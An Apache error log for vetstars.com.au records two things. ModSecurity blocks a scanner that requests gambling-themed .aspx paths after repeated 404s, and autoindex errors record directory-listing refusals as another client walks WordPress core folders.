[Mon Apr 20 16:12:29.757008 2026] [:error] [pid 6928:tid 6947] [client 65.108.78.33:4428] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aeXf7R3y7MHq1iB0qYpSrwAAAVE"]
[Mon Apr 20 16:12:32.415895 2026] [:error] [pid 6928:tid 6952] [client 65.108.78.33:8418] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aeXf8B3y7MHq1iB0qYpSwgAAAVY"]
[Mon Apr 20 16:12:35.037119 2026] [:error] [pid 11441:tid 11446] [client 65.108.78.33:8424] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aeXf88ixByFUvmh319AuKwAAAMM"]
[Mon Apr 20 16:12:37.677151 2026] [:error] [pid 6928:tid 6934] [client 65.108.78.33:8438] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aeXf9R3y7MHq1iB0qYpSzAAAAUQ"]
[Mon Apr 20 16:12:40.263121 2026] [:error] [pid 6928:tid 6935] [client 65.108.78.33:8452] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aeXf-B3y7MHq1iB0qYpS1AAAAUU"]
[Mon Apr 20 16:12:42.859698 2026] [:error] [pid 42014:tid 42017] [client 65.108.78.33:59526] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aeXf-sek-00-ZI0f1No2uQAAAQE"]
[Mon Apr 20 16:12:45.469110 2026] [:error] [pid 42014:tid 42034] [client 65.108.78.33:59530] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aeXf_cek-00-ZI0f1No2vwAAARI"]
[Mon Apr 20 16:12:48.105185 2026] [:error] [pid 42014:tid 42017] [client 65.108.78.33:59542] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aeXgAMek-00-ZI0f1No2xAAAAQE"]
[Mon Apr 20 16:12:50.674194 2026] [:error] [pid 42014:tid 42023] [client 65.108.78.33:59544] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeXgAsek-00-ZI0f1No20AAAAQc"]
[Mon Apr 20 16:12:53.201315 2026] [:error] [pid 11441:tid 11447] [client 65.108.78.33:34336] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeXgBcixByFUvmh319AuOwAAAMQ"]
[Mon Apr 20 16:12:55.752249 2026] [:error] [pid 11352:tid 11419] [client 65.108.78.33:34352] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeXgB2l10mhMSfJ7ir-dqAAAAIU"]
[Mon Apr 20 16:12:58.205150 2026] [:error] [pid 11352:tid 11437] [client 65.108.78.33:34364] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeXgCml10mhMSfJ7ir-dtAAAAJc"]
[Mon Apr 20 16:13:00.883534 2026] [:error] [pid 6928:tid 6932] [client 65.108.78.33:34370] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeXgDB3y7MHq1iB0qYpS7wAAAUI"]
[Mon Apr 20 17:02:09.520288 2026] [autoindex:error] [pid 11352:tid 11425] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:13.412075 2026] [autoindex:error] [pid 11352:tid 11426] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:24.540691 2026] [autoindex:error] [pid 11352:tid 11434] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:26.472169 2026] [autoindex:error] [pid 11352:tid 11423] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:33.725462 2026] [autoindex:error] [pid 11352:tid 11428] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:33.948846 2026] [autoindex:error] [pid 11352:tid 11429] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:36.424062 2026] [autoindex:error] [pid 11352:tid 11436] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:36.649609 2026] [autoindex:error] [pid 11352:tid 11423] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:38.589488 2026] [autoindex:error] [pid 11352:tid 11414] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:38.807094 2026] [autoindex:error] [pid 11352:tid 11433] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:39.035807 2026] [autoindex:error] [pid 11352:tid 11428] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:40.972910 2026] [autoindex:error] [pid 11352:tid 11435] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:41.196310 2026] [autoindex:error] [pid 11352:tid 11428] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:41.523863 2026] [autoindex:error] [pid 11352:tid 11424] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:47.627111 2026] [autoindex:error] [pid 11352:tid 11419] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:47.881335 2026] [autoindex:error] [pid 11352:tid 11426] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:48.383352 2026] [autoindex:error] [pid 11352:tid 11436] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:48.625550 2026] [autoindex:error] [pid 11352:tid 11423] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:50.613100 2026] [autoindex:error] [pid 11352:tid 11421] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:50.956526 2026] [autoindex:error] [pid 11352:tid 11418] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:02:56.470177 2026] [autoindex:error] [pid 11352:tid 11416] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:00.255802 2026] [autoindex:error] [pid 11352:tid 11420] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:00.868652 2026] [autoindex:error] [pid 11352:tid 11424] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:06.548670 2026] [autoindex:error] [pid 11352:tid 11418] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:06.791831 2026] [autoindex:error] [pid 11352:tid 11425] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:14.251782 2026] [autoindex:error] [pid 11352:tid 11422] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:16.211454 2026] [autoindex:error] [pid 11352:tid 11427] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:18.374218 2026] [autoindex:error] [pid 11352:tid 11430] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:18.627507 2026] [autoindex:error] [pid 11352:tid 11432] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:18.922812 2026] [autoindex:error] [pid 11352:tid 11420] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:19.140102 2026] [autoindex:error] [pid 11352:tid 11424] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:21.094976 2026] [autoindex:error] [pid 11352:tid 11431] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:24.767271 2026] [autoindex:error] [pid 11352:tid 11433] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:24.995674 2026] [autoindex:error] [pid 11352:tid 11435] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:30.582285 2026] [autoindex:error] [pid 11352:tid 11421] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:32.635424 2026] [autoindex:error] [pid 11352:tid 11418] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:36.540337 2026] [autoindex:error] [pid 11352:tid 11437] [client 89.251.0.41:24415] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:40.272117 2026] [autoindex:error] [pid 11352:tid 11436] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:40.493687 2026] [autoindex:error] [pid 11352:tid 11419] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:42.096831 2026] [autoindex:error] [pid 11352:tid 11424] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:42.312504 2026] [autoindex:error] [pid 11352:tid 11431] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:42.552272 2026] [autoindex:error] [pid 11352:tid 11422] [client 89.251.0.41:24415] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:53.791578 2026] [autoindex:error] [pid 11441:tid 11450] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 17:03:54.174452 2026] [autoindex:error] [pid 11441:tid 11459] [client 89.251.0.71:51619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
